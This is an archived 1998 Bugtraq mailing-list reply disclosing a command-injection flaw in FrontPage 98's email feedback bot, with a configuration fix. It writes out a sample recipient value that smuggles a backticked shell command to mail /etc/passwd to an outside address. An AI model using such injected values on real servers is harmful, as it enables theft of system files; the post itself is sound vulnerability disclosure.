Re: Followup to FP98 and other Frontpage bugs

From: Markus Stumpf (maex-lists-bugtraqat_private)
Date: Tue Oct 13 1998 - 17:21:34 PDT

  • Next message: Olaf Kirch: "The poisoned NUL byte"

    On Mon, Oct 12, 1998 at 11:22:38AM -0700, pedwardat_private wrote:
    > So, here is the status of Frontpage and it's (in)security.
    
    Don't know whether this has already been reported.
    I've noticed another weakness which is still present at least in
    FP98 with the version id:
        FPVersion="3.0.2.1330"
    
    When installing a server for Frontpage it creates a file (usually)
       /usr/local/frontpage/www.example.com:80.cnf
    
    In order to get the feedback bot working for sending feedback via eMail
    you can define within this file
        SendmailCommand:/usr/sbin/sendmail %r
    The "%r" above is substituted with the recipients email address(es).
    
    With this setting you are vulnerable, as creating a feedback page
    with a recipient address of e.g.
            `/usr/bin/Mail -s 'password' nobodyat_private < /etc/passwd`
    will execute the command
        /usr/sbin/sendmail `/usr/bin/Mail -s 'password' nobodyat_private < /etc/passwd`
    and send the password file to nobodyat_private
    
    To avoid this tell Frontpage to use the SMTP protocol to send emails
    by using
        SMTPHost:mail.example.com
    and you may probably also use
        MailSender:webmasterat_private
    
    
            \Maex
    
    --
    SpaceNet GmbH          |   http://www.Space.Net/   | In a world whithout
    Research & Development | mailto:researchat_private |   walls and fences,
    Frankfurter Ring 193a  |  Tel: +49 (89) 32356-0    | who needs
    D-80807 Muenchen       |  Fax: +49 (89) 32356-299  |   Windows and Gates?
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:19:41 PDT